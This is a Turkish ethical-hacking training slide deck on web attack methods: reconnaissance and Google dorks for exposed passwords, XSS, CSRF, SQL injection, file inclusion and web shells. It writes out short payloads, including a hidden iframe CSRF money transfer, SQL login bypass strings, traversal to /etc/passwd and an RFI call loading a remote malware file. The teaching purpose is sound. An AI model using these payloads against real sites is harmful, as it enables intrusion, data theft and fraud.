320 likes | 620 Views
Web Hacking Yöntemleri. Eyüp ÇELİK Bilgi Teknolojileri Güvenlik Danışmanı info@eyupcelik.com.tr http://www.eyupcelik.com.tr. f acebook.com/EPICROUTERSS ~ twitter.com/EPICROUTERS. Eyüp ÇELİK Kimdir?. Bilgi Teknolojileri Güvenlik Danışmanı White Hat Hacker Ethical Hacking Eğitmeni
E N D
Web Hacking Yöntemleri Eyüp ÇELİK Bilgi Teknolojileri Güvenlik Danışmanı info@eyupcelik.com.tr http://www.eyupcelik.com.tr facebook.com/EPICROUTERSS ~ twitter.com/EPICROUTERS
Eyüp ÇELİK Kimdir? • Bilgi TeknolojileriGüvenlikDanışmanı • White Hat Hacker • Ethical Hacking Eğitmeni • Blog Yazarı (www.eyupcelik.com.tr) • Web Güvenliği Editörü (www.webguvenligi.net) • LabSec Community - Güvenlik Ekip Lideri • Anatolia Security - Proje Takım Lideri • Güvenlik Araştırmacısı (Security Research) • PacketStormSecurity.org • Exploit-db.com • Secunia.com
Ajanda • Web Hacking Yöntemleri • Bilgi Toplama • Web Sunucusu, Uygulama, Yazılım Dili, Versiyon Keşfi • Hata Mesajlarından Bilgi Toplama • Arama Motorlarından Bilgi Toplama • Alt Dizinve Admin Panel Keşfi • WebGüvenlikTestlerindeKişiselProxyler • OWASP Top 10 AçıklıkRehberi • XSS, CSRF AçıklarıveKötüyeKullanımı • XSS, CSRF Nedir? • XSS, CSRF Kullanımı • SQL Injection Zafiyetleri ve Hacking AmaçlıKullanımları • SQL Injection ve Blind SQL Injection Nedir? • SQL – Blind SQL Kullanımı • SQL Injection Örnekleri • Arama Motorlarından Zafiyet Arama • Havij, Sqlmap, SQL Finder, Pangolin • File Inclusion Zafiyetleri ve HackingAmaçlıKullanımları • Local File Inclusion (LFI) • Remote File Inclusion (RFI) • Web Shell • Web Shell KavramlarıveKullanımAmaçları • PHP, ASP, JSP, ASP.NET Shell Çeşitleri
Whois • www.whois.sc Bilgi Toplama
DNS Record • www.intodns.com Bilgi Toplama
DNS Record • Maltego Bilgi Toplama
Web Sunucusu, ProgramlamaDili, Portlar Bilgi Toplama
HataMesajlarından Bilgi Toplama • Sıkkarşılaşılanhatakodları • 400 (Sözdizimiçözülemedi) • 403 (Yasak) • 404 (Bulunamadı) • 405 (Yöntemeizinverilmiyor) • 500 (Dahilisunucuhatası) • 505 (HTTP sürümüdesteklenmiyor) Bilgi Toplama
AramaMotorlarından Bilgi Toplama • www.archive.org (Web Arşiv) • www.google.com • site: eyupcelik.com.tr • Filetype:txt • Password 123123 filetype:xml • Password 123123 filetype:xmlsite:site.com.tr • intitle:index.of • Intitle:index.ofsite:gov.tr • intitle:index.ofpwd.dbpasswdsite:com • Microsoft-IIS/5.0 server at • Apache/2.2Server at • www.bing.com • IP: 192.168.1.100 • KariyerSiteleri • (Kariyer.net, yenibiris.com. SecretCV) Bilgi Toplama
AramaMotorlarından Bilgi Toplama - 2 Bilgi Toplama
Alt Dizinve Admin Panel Keşfi Bilgi Toplama
Ajanda • Web Hacking Yöntemleri • Bilgi Toplama • Web Sunucusu, Uygulama, Yazılım Dili, Versiyon Keşfi • Hata Mesajlarından Bilgi Toplama • Arama Motorlarından Bilgi Toplama • Alt Dizinve Admin Panel Keşfi • WebGüvenlikTestlerindeKişiselProxyler • OWASP Top 10 AçıklıkRehberi • XSS, CSRF AçıklarıveKötüyeKullanımı • XSS, CSRF Nedir? • XSS, CSRF Kullanımı • SQL Injection Zafiyetleri ve Hacking AmaçlıKullanımları • SQL Injection ve Blind SQL Injection Nedir? • SQL – Blind SQL Kullanımı • SQL Injection Örnekleri • Arama Motorlarından Zafiyet Arama • Havij, Sqlmap, SQL Finder, Pangolin • File Inclusion Zafiyetleri ve HackingAmaçlıKullanımları • Local File Inclusion (LFI) • Remote File Inclusion (RFI) • Web Shell • Web Shell KavramlarıveKullanımAmaçları • PHP, ASP, JSP, ASP.NET Shell Çeşitleri
XSS Nedir? • Sunucuyagönderilenyazılımbetiklerinin (script) kullanıcınıntarayıcısındaçalıştığıbirsaldırıtürüdür. • PHP-ASP-ASP.NET Sayfalarında sıklıkla görülür. • Genellikle POST ve GET metotlarının kullanıldığı alanlarda olur. • Yazılımbetiklerinin kullanıcı tarafındaçalıştırılmasısonucunda oturum bilgileriçalınabilir, bilgisayarınazararlıkodlarenjekteedilebilir ve bilgisayaryönetimielegeçirilebilir. • En çok karşılaşılan güvenlik zafiyetidir! XSS – CSRF Açıkları ve Kötüye Kullanımı
XSS Zafiyet Türevleri • XSS • Reflected XSS Attack • Stored (Persistent) XSS Attack XSS – CSRF Açıkları ve Kötüye Kullanımı
Reflected XSS Saldırısı • URL adreslerindekiquerystringler ve form alanlarında sıklıkla görülür. • En çok karşılaşılan XSS saldırı türevidir. • Kullanıcı taraflı çalışır. • Phishing saldırılarına zemin oluşturur. XSS – CSRF Açıkları ve Kötüye Kullanımı
Stored (Persistent) XSS Saldırısı • Forumlar, ziyaretçi defterleri gibi alanlarda sıklıkla görülür. • XSS kodları database sunucusuna kaydedilir. • Kullanıcılar sayfaya eriştiklerinde XSS kodları çalışır ve amaca hizmet eder. XSS – CSRF Açıkları ve Kötüye Kullanımı
CSRF (Cross Site Request Forgery) Saldırısı • XSS saldırısınabenzer • Web uygulamasının oturumzaman aşımlarını kullanmamasından kaynaklanır. • XSS saldırılarınınaksine CSRF saldırıları kullanıcı bazlıdır. • Bu saldırıtüründe, kullanıcınınisteğidışındakullanıcıyaişlemleryaptırılır. • Banka hesaplarındanparatransferi, uygulamayetkiyükseltmesaldırılarıgibibirçokişlembusaldırıyöntemi ile yapılabilmektedir. • Saldırganınamacı;yetkisiolmayanalanlardaistediğiişlemiyetkisiolanbirkullanıcıyayaptırmaktır. • Örneğin; ING Direct bankasında bulunan CSRF zafiyeti, kullanıcınınbelirtilenhesabapara transfer etmesinisağlamaktaydı. XSS – CSRF Açıkları ve Kötüye Kullanımı
CSRF (Cross Site Request Forgery) Saldırısı - Örnek • Web sitesinde oturum açanbir kullanıcı, eğeraynızamandazararlıkodunbulunduğusayfayaerişirse, hesabındanbaşkabirhesabaparaaktarılıyor • Kullanıcı uygulamayıaçtıktansonra, zararlısayfada http://www.banka.com/ParaYollar.php?Gonderen=Eyup&Alici=Ismail&Miktar=500&submit=1 koduçalıştırılır. • Bununiçinsaldırganyukarıda bulunan kodusayfasında <img> veya <iframe> taglarıarasınayerleştirir. • Bu taglerkullanıcınıngörmemesiiçin • <imgsrc=“http://www.banka.com/ParaYollar.php?Gonderen=Eyup&Alici=Ismail&Miktar=500&submit=1” width=“0” height=“0”> şeklindeyada • <iframesrc=“http://www.banka.com/ParaYollar.php?Gonderen=Eyup&Alici=Ismail&Miktar=500&submit=1” width=“0” height=“0”> şeklindeolacaktır. • Bu kodlar kullanıcı tarafındaçalışınca, Eyupadlıkullanıcınhesabından Ismail adlıkullanıcınhesabına 500 TL aktarmışolacaktır. XSS – CSRF Açıkları ve Kötüye Kullanımı
OWASP TOP 10 Rehberi - 1 • Web Hacking Yöntemleri • Bilgi Toplama • Web Sunucusu, Uygulama, Yazılım Dili, Versiyon Keşfi • Hata Mesajlarından Bilgi Toplama • Arama Motorlarından Bilgi Toplama • Alt Dizinve Admin Panel Keşfi • WebGüvenlikTestlerindeKişiselProxyler • OWASP Top 10 AçıklıkRehberi • XSS, CSRF AçıklarıveKötüyeKullanımı • XSS, CSRF Nedir? • XSS, CSRF Kullanımı • SQL Injection Zafiyetleri ve Hacking AmaçlıKullanımları • SQL Injection ve Blind SQL Injection Nedir? • SQL – Blind SQL Kullanımı • SQL Injection Örnekleri • Arama Motorlarından Zafiyet Arama • Havij, Sqlmap, SQL Finder, Pangolin • File Inclusion Zafiyetleri ve HackingAmaçlıKullanımları • Local File Inclusion (LFI) • Remote File Inclusion (RFI) • Web Shell • Web Shell KavramlarıveKullanımAmaçları • PHP, ASP, JSP, ASP.NET Shell Çeşitleri
SQL Injection Nedir? • Veritabanındansorgulamalaryapılırken, sorgularabazıkarakterlerin (‘) eklenerekyetkisizsorgulamalaryapılmasıdır. • SQL injection yöntemi ile sqlsunucusunda bulunan verilereerişilebilir, değiştirilebilir , silinebilir • SQL Injection son zamanlarda en tehlikelisaldırıtürlerindenbirihalinegeldi. • Web uygulamalarında bulunan SQL sorgularınındoğrubirşekildeanalizedilmeden SQL sunucusunaaktarılmasındankaynaklananbirsaldırıtürüdü • SQL’deikitektırnak(‘)yanyanagelincearada bulunan kodlar “string” olarak kabuledilir. • Örneğin;biruserın form alanınagirişyapacağı zaman girmişolduğu input değerlerkontroledilirkensqlcümleciklerikullanılır. • SELECT * from kullanicilarwhere isim=‘eyup’ andsifre=‘x9x9’ • Böylebirdurumda, kullanıcılartablosunda bulunan isimkolonunda “eyup” varsa ve sifrekolonıundakişifresi de eğer “x9x9” ise kullanıcı oturum açmışolacaktır. • Kullanıcının form alanınagirmişolduğu input veriler where koşulunaatanmaktadır. SQL Injection Zafiyetlerive Hacking AmaçlıKullanılması
SQL Injection Nedir? • Bu mantıklaçalışanbirsitedesql injection saldırısı yapacaksakeğer, bize kullanıcı adı ve şifreyi her zaman döndürecekbirkodaihityacımızolacaktır. • Select * from kullanicilarwhere isim=‘’ OR ‘’ = ‘’ andsifre= ‘’ OR ‘’ = ‘’ • Kullanıcılartablosundakiisimkolonu ve sifrekolonuboşolankullanıcılarıistemişolduk. SQL Injection Zafiyetlerive Hacking AmaçlıKullanılması
Error Based SQL Injection Nedir? • ODBC (Open Database Connectivity) verikaynaklarıüzerinde veri taşımayayarayanbiraraçtır. • Bu işlemiverikaynağı ve uygulamaarasındabirkatmanoluşturarakgerçekleştirir. • Error Based SQL Injection saldırıları, ODBC’ninverdiğihatalardanfaydalanarakverilereerişmeye çalışır. • Çoğunlukla SQL Union operatöründenfaydalanılarakbuhataverilerineerişilir. SQL Injection Zafiyetlerive Hacking AmaçlıKullanılması
Blind (Kör) SQL Injection Nedir? • SQL injectiondakullanılankarakterlerinsonuçvermediğidurumlardakullanılanbirsaldırıyöntemidir. • Bu yöntemalınanhataların True veya False kısmı ile ilgilenir. • SQL üzerindeyapılansorgulamalarındoğruveyayanlışolduğusonuçlarınıbizegeridöndürür. • Blind SQL Injection ile yapılanyöntemlerdeneme-yanılmayöntemi ile yapılır. SQL Injection Zafiyetlerive Hacking AmaçlıKullanılması
AramaMotorlarındanZafiyetArama SQL Injection Zafiyetlerive Hacking AmaçlıKullanılması
AramaMotorlarındanZafiyetArama - 2 SQL Injection Zafiyetlerive Hacking AmaçlıKullanılması
Havij SQL Injection Zafiyetlerive Hacking AmaçlıKullanılması
Ajanda • Web Hacking Yöntemleri • Bilgi Toplama • Web Sunucusu, Uygulama, Yazılım Dili, Versiyon Keşfi • Hata Mesajlarından Bilgi Toplama • Arama Motorlarından Bilgi Toplama • Alt Dizinve Admin Panel Keşfi • WebGüvenlikTestlerindeKişiselProxyler • OWASP Top 10 AçıklıkRehberi • XSS, CSRF AçıklarıveKötüyeKullanımı • XSS, CSRF Nedir? • XSS, CSRF Kullanımı • SQL Injection Zafiyetleri ve Hacking AmaçlıKullanımları • SQL Injection ve Blind SQL Injection Nedir? • SQL – Blind SQL Kullanımı • SQL Injection Örnekleri • Arama Motorlarından Zafiyet Arama • Havij, Sqlmap, SQL Finder, Pangolin • File Inclusion Zafiyetleri ve HackingAmaçlıKullanımları • Local File Inclusion (LFI) • Remote File Inclusion (RFI) • Web Shell • Web Shell KavramlarıveKullanımAmaçları • PHP, ASP, JSP, ASP.NET Shell Çeşitleri
Local File Inclusion (LFI) • Web sitesinde bulunan kodlama hatalarından (include, require) meydana gelir • Sunucuda bulunan dosyaların çağrılmasına ve okunabilmesine olanak verir • Sadece bulunduğu siteyi değil, sunucuda bulunan tüm siteleri etkileyebilir! • index.php?SayfaAc=iletisim.php • index.php?SayfaAc=../../configuration.php • index.php?SayfaAc=../../../../etc/passwd • index.php?SayfaAc=../../../boot.ini File InclusionZafiyetleri ve Hacking Amaçlı Kullanılması
Remote File Inclusion (RFI) • Web sitesinde bulunan kodlama hatalarından (include, require) meydana gelir • RFI saldırılarında en büyük etken değişkene değer atanmamasıdır! • Tanımlanmış ancak değer atanmamış olan değişkene dışardan değer aktarılması ile oluşur. • Sadece bulunduğu siteyi değil, sunucuda bulunan tüm siteleri etkileyebilir! • include($deger”.php”) • index.php?deger=http://www.site.com/malware.txt File InclusionZafiyetleri ve Hacking Amaçlı Kullanılması
C99, R57 Web Shell
Teşekkürler Sorular?